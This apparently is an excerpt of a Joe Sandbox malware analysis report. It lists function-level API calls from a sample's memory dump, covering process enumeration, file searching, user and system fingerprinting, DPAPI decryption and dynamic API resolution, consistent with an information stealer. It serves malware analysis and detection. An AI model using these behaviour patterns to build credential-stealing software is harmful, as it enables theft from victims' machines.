Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 0197748a425c6886802e9b7d5aafb95b5af30a742549f2064d22558eec8c4394
Instruction ID: 6d5fc956c5d821a53eae3f85060c9586b5cb2b3b5358f8abd787859669aef822
Opcode Fuzzy Hash: 0197748a425c6886802e9b7d5aafb95b5af30a742549f2064d22558eec8c4394
Instruction Fuzzy Hash: 7E123D71914118AACB58FB64DE96FEE737CAFD4310F4041A8F54B52092EE746F48CBA2

Function 009B90A0 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 009B90BE
Process32First.KERNEL32(009C0AB3,00000128), ref: 009B90D2
Process32Next.KERNEL32(009C0AB3,00000128), ref: 009B90E7
StrCmpCA.SHLWAPI(?,00000000), ref: 009B90FC
CloseHandle.KERNEL32(009C0AB3), ref: 009B911A

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: c4c6eccd6d8cf32d0aa9020188f7997dbc0797b3e62ad567de0a3dcc36a784ef
Instruction ID: 77dece515557e2d4587d843071387fbb48946e34113ca52b226caab0589660b9
Opcode Fuzzy Hash: c4c6eccd6d8cf32d0aa9020188f7997dbc0797b3e62ad567de0a3dcc36a784ef
Instruction Fuzzy Hash: 2001E979A10218ABDB10DFA8CD99FEDBBF8AB0C710F104598E609A7240DB749A44DF50

Function 009B74D0 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0148F130,00000000,?,009C0DE0,00000000,?,00000000,00000000), ref: 009B7503
RtlAllocateHeap.NTDLL(00000000), ref: 009B750A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0148F130,00000000,?,009C0DE0,00000000,?,00000000,00000000,?), ref: 009B751D
wsprintfA.USER32 ref: 009B7557

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: b055ae19b10559ca0a121e75fc10fd329f58ebdc289d5a25f64c5188965bc1d7
Instruction ID: c6c68ab25854da0ff3ec13c7935060941345e3a348146ba6f2c7cceb8c8ae926
Opcode Fuzzy Hash: b055ae19b10559ca0a121e75fc10fd329f58ebdc289d5a25f64c5188965bc1d7
Instruction Fuzzy Hash: 6211A1B1D05218EBEB20CB58DD49FA9BB78FB84721F1047A9F50A932D0DB745944CB51

Function 009A9BB0 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 009A9BD4
LocalAlloc.KERNEL32(00000040,00000000), ref: 009A9BF3
LocalFree.KERNEL32(?), ref: 009A9C23

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 0c6a9877b34bc1d78f783c847df2ba0e0b5eb5ed0fe439e58047e71f6a029310
Instruction ID: 012bbc1ef4cb1ed3a36f648570bc0813c8ec1f8dd12fae01d39f9dce84c02098
Opcode Fuzzy Hash: 0c6a9877b34bc1d78f783c847df2ba0e0b5eb5ed0fe439e58047e71f6a029310
Instruction Fuzzy Hash: 8B11A5B8A00209EFCB04DF98D995EAEB7B9FB89304F104568E915A7350D730AE51CBA1

Function 009B72F0 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,009A11B7), ref: 009B7320
RtlAllocateHeap.NTDLL(00000000), ref: 009B7327
GetUserNameA.ADVAPI32(00000104,00000104), ref: 009B733F

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: b150a2df3f6bb25747668a7c7256e3d24d94dfe8d957747e67c7177094f02419
Instruction ID: 3b737fc923b03c05efdab2948c9dfabcf05a6660c6dbe10cc5c0dbb2272a19ef
Opcode Fuzzy Hash: b150a2df3f6bb25747668a7c7256e3d24d94dfe8d957747e67c7177094f02419
Instruction Fuzzy Hash: 46F062B1944248EFC714DF98DD45FAEFBB8FB48B21F10022AFA05A3680D7745504CBA1

Function 009B7970 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(009C0DFC), ref: 009B79A0
wsprintfA.USER32 ref: 009B79B6

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 133cb1228c493e9be02e742d1a53cf8799fa5623cd8e1a4149db3365911b0ba0
Instruction ID: bf70515b6eb14bbcf47c8980cd58a5399eaace2001116bfc7e92220c21409566
Opcode Fuzzy Hash: 133cb1228c493e9be02e742d1a53cf8799fa5623cd8e1a4149db3365911b0ba0
Instruction Fuzzy Hash: E0F0C2B1900208EBC710CF88DD45FAABBBCFB48624F100669F50593680D77469048BA0

Function 009B95E0 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,014763A0), ref: 009B95FD
GetProcAddress.KERNEL32(76210000,01476240), ref: 009B9615
GetProcAddress.KERNEL32(76210000,014897E8), ref: 009B962E
GetProcAddress.KERNEL32(76210000,01489800), ref: 009B9646
GetProcAddress.KERNEL32(76210000,01489860), ref: 009B965E
GetProcAddress.KERNEL32(76210000,0148DB70), ref: 009B9677
GetProcAddress.KERNEL32(76210000,0147A7A8), ref: 009B968F
GetProcAddress.KERNEL32(76210000,0148DBE8), ref: 009B96A7
GetProcAddress.KERNEL32(76210000,0148DA80), ref: 009B96C0
GetProcAddress.KERNEL32(76210000,0148DB28), ref: 009B96D8
GetProcAddress.KERNEL32(76210000,0148DB88), ref: 009B96F0
GetProcAddress.KERNEL32(76210000,014762A0), ref: 009B9709
GetProcAddress.KERNEL32(76210000,01476340), ref: 009B9721
GetProcAddress.KERNEL32(76210000,014763C0), ref: 009B9739
GetProcAddress.KERNEL32(76210000,01476180), ref: 009B9752
GetProcAddress.KERNEL32(76210000,0148DAF8), ref: 009B976A
GetProcAddress.KERNEL32(76210000,0148DB10), ref: 009B9782
GetProcAddress.KERNEL32(76210000,0147A550), ref: 009B979B
GetProcAddress.KERNEL32(76210000,01476260), ref: 009B97B3
GetProcAddress.KERNEL32(76210000,0148DC00), ref: 009B97CB
GetProcAddress.KERNEL32(76210000,0148DC30), ref: 009B97E4
GetProcAddress.KERNEL32(76210000,0148DA68), ref: 009B97FC
GetProcAddress.KERNEL32(76210000,0148DBA0), ref: 009B9814
GetProcAddress.KERNEL32(76210000,01476360), ref: 009B982D
GetProcAddress.KERNEL32(76210000,0148DCA8), ref: 009B9845
GetProcAddress.KERNEL32(76210000,0148DB40), ref: 009B985D
GetProcAddress.KERNEL32(76210000,0148DD50), ref: 009B9876
GetProcAddress.KERNEL32(76210000,0148DC18), ref: 009B988E
GetProcAddress.KERNEL32(76210000,0148DC48), ref: 009B98A6
GetProcAddress.KERNEL32(76210000,0148DA98), ref: 009B98BF
GetProcAddress.KERNEL32(76210000,0148DB58), ref: 009B98D7
GetProcAddress.KERNEL32(76210000,0148DAE0), ref: 009B98EF
GetProcAddress.KERNEL32(76210000,0148DBB8), ref: 009B9908
GetProcAddress.KERNEL32(76210000,0147FDA8), ref: 009B9920
GetProcAddress.KERNEL32(76210000,0148DC60), ref: 009B9938
GetProcAddress.KERNEL32(76210000,0148DCD8), ref: 009B9951
GetProcAddress.KERNEL32(76210000,01476380), ref: 009B9969
GetProcAddress.KERNEL32(76210000,0148DD20), ref: 009B9981
GetProcAddress.KERNEL32(76210000,014763E0), ref: 009B999A
GetProcAddress.KERNEL32(76210000,0148DBD0), ref: 009B99B2
GetProcAddress.KERNEL32(76210000,0148DAB0), ref: 009B99CA
GetProcAddress.KERNEL32(76210000,01476420), ref: 009B99E3
GetProcAddress.KERNEL32(76210000,01476440), ref: 009B99FB
LoadLibraryA.KERNEL32(0148DC78,?,009B5783,009C0AD2,?,?,?,?,?,?,?,?,?,?,009C0ACF,009C0ACE), ref: 009B9A0D
LoadLibraryA.KERNEL32(0148DC90,?,009B5783,009C0AD2,?,?,?,?,?,?,?,?,?,?,009C0ACF,009C0ACE), ref: 009B9A1E
LoadLibraryA.KERNEL32(0148DCF0,?,009B5783,009C0AD2,?,?,?,?,?,?,?,?,?,?,009C0ACF,009C0ACE), ref: 009B9A30
LoadLibraryA.KERNEL32(0148DCC0,?,009B5783,009C0AD2,?,?,?,?,?,?,?,?,?,?,009C0ACF,009C0ACE), ref: 009B9A42
LoadLibraryA.KERNEL32(0148DD08,?,009B5783,009C0AD2,?,?,?,?,?,?,?,?,?,?,009C0ACF,009C0ACE), ref: 009B9A53
LoadLibraryA.KERNEL32(0148DD38,?,009B5783,009C0AD2,?,?,?,?,?,?,?,?,?,?,009C0ACF,009C0ACE), ref: 009B9A65
LoadLibraryA.KERNEL32(0148DAC8,?,009B5783,009C0AD2,?,?,?,?,?,?,?,?,?,?,009C0ACF,009C0ACE), ref: 009B9A77
LoadLibraryA.KERNEL32(0148DEE8,?,009B5783,009C0AD2,?,?,?,?,?,?,?,?,?,?,009C0ACF,009C0ACE), ref: 009B9A88
GetProcAddress.KERNEL32(751E0000,01476460), ref: 009B9AAA
GetProcAddress.KERNEL32(751E0000,0148DE58), ref: 009B9AC2
GetProcAddress.KERNEL32(751E0000,01489360), ref: 009B9ADA
GetProcAddress.KERNEL32(751E0000,0148DDB0), ref: 009B9AF3
GetProcAddress.KERNEL32(751E0000,014764A0), ref: 009B9B0B
GetProcAddress.KERNEL32(700E0000,0147A7D0), ref: 009B9B30
GetProcAddress.KERNEL32(700E0000,01476500), ref: 009B9B49
GetProcAddress.KERNEL32(700E0000,0147A5C8), ref: 009B9B61
GetProcAddress.KERNEL32(700E0000,0148DF00), ref: 009B9B79
GetProcAddress.KERNEL32(700E0000,0148DDC8), ref: 009B9B92
GetProcAddress.KERNEL32(700E0000,01476720), ref: 009B9BAA
GetProcAddress.KERNEL32(700E0000,01476700), ref: 009B9BC2
GetProcAddress.KERNEL32(700E0000,0148DE88), ref: 009B9BDB
GetProcAddress.KERNEL32(753A0000,014765E0), ref: 009B9BFC
GetProcAddress.KERNEL32(753A0000,01476540), ref: 009B9C14
GetProcAddress.KERNEL32(753A0000,0148DE70), ref: 009B9C2D
GetProcAddress.KERNEL32(753A0000,0148DDE0), ref: 009B9C45
GetProcAddress.KERNEL32(753A0000,01476740), ref: 009B9C5D
GetProcAddress.KERNEL32(76310000,0147A7F8), ref: 009B9C83
GetProcAddress.KERNEL32(76310000,0147A820), ref: 009B9C9B
GetProcAddress.KERNEL32(76310000,0148DDF8), ref: 009B9CB3
GetProcAddress.KERNEL32(76310000,01476600), ref: 009B9CCC
GetProcAddress.KERNEL32(76310000,01476560), ref: 009B9CE4
GetProcAddress.KERNEL32(76310000,0147A500), ref: 009B9CFC
GetProcAddress.KERNEL32(76910000,0148DE10), ref: 009B9D22
GetProcAddress.KERNEL32(76910000,014766A0), ref: 009B9D3A
GetProcAddress.KERNEL32(76910000,014892E0), ref: 009B9D52
GetProcAddress.KERNEL32(76910000,0148DE40), ref: 009B9D6B
GetProcAddress.KERNEL32(76910000,0148DD68), ref: 009B9D83
GetProcAddress.KERNEL32(76910000,01476760), ref: 009B9D9B
GetProcAddress.KERNEL32(76910000,01476520), ref: 009B9DB4
GetProcAddress.KERNEL32(76910000,0148DD80), ref: 009B9DCC
GetProcAddress.KERNEL32(76910000,0148DEA0), ref: 009B9DE4
GetProcAddress.KERNEL32(75B30000,014766C0), ref: 009B9E06
GetProcAddress.KERNEL32(75B30000,0148DD98), ref: 009B9E1E
GetProcAddress.KERNEL32(75B30000,0148DF18), ref: 009B9E36
GetProcAddress.KERNEL32(75B30000,0148DE28), ref: 009B9E4F
GetProcAddress.KERNEL32(75B30000,0148DEB8), ref: 009B9E67
GetProcAddress.KERNEL32(75670000,01476580), ref: 009B9E88
GetProcAddress.KERNEL32(75670000,01476620), ref: 009B9EA1
GetProcAddress.KERNEL32(76AC0000,01476660), ref: 009B9EC2
GetProcAddress.KERNEL32(76AC0000,0148DED0), ref: 009B9EDA
GetProcAddress.KERNEL32(6F500000,01476780), ref: 009B9F00
GetProcAddress.KERNEL32(6F500000,014765A0), ref: 009B9F18
GetProcAddress.KERNEL32(6F500000,014764E0), ref: 009B9F30
GetProcAddress.KERNEL32(6F500000,0148D8E8), ref: 009B9F49
GetProcAddress.KERNEL32(6F500000,014766E0), ref: 009B9F61
GetProcAddress.KERNEL32(6F500000,01476880), ref: 009B9F79
GetProcAddress.KERNEL32(6F500000,014765C0), ref: 009B9F92
GetProcAddress.KERNEL32(6F500000,01476640), ref: 009B9FAA
GetProcAddress.KERNEL32(6F500000,InternetSetOptionA), ref: 009B9FC1
GetProcAddress.KERNEL32(6F500000,HttpQueryInfoA), ref: 009B9FD7
GetProcAddress.KERNEL32(75AE0000,0148D960), ref: 009B9FF9
GetProcAddress.KERNEL32(75AE0000,01489400), ref: 009BA011
GetProcAddress.KERNEL32(75AE0000,0148D9D8), ref: 009BA029
GetProcAddress.KERNEL32(75AE0000,0148D8A0), ref: 009BA042
GetProcAddress.KERNEL32(76300000,014767A0), ref: 009BA063
GetProcAddress.KERNEL32(6FE60000,0148DA50), ref: 009BA084
GetProcAddress.KERNEL32(6FE60000,01476680), ref: 009BA09D
GetProcAddress.KERNEL32(6FE60000,0148D768), ref: 009BA0B5
GetProcAddress.KERNEL32(6FE60000,0148D840), ref: 009BA0CD

Strings

HttpQueryInfoA, xrefs: 009B9FCC
InternetSetOptionA, xrefs: 009B9FB5

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
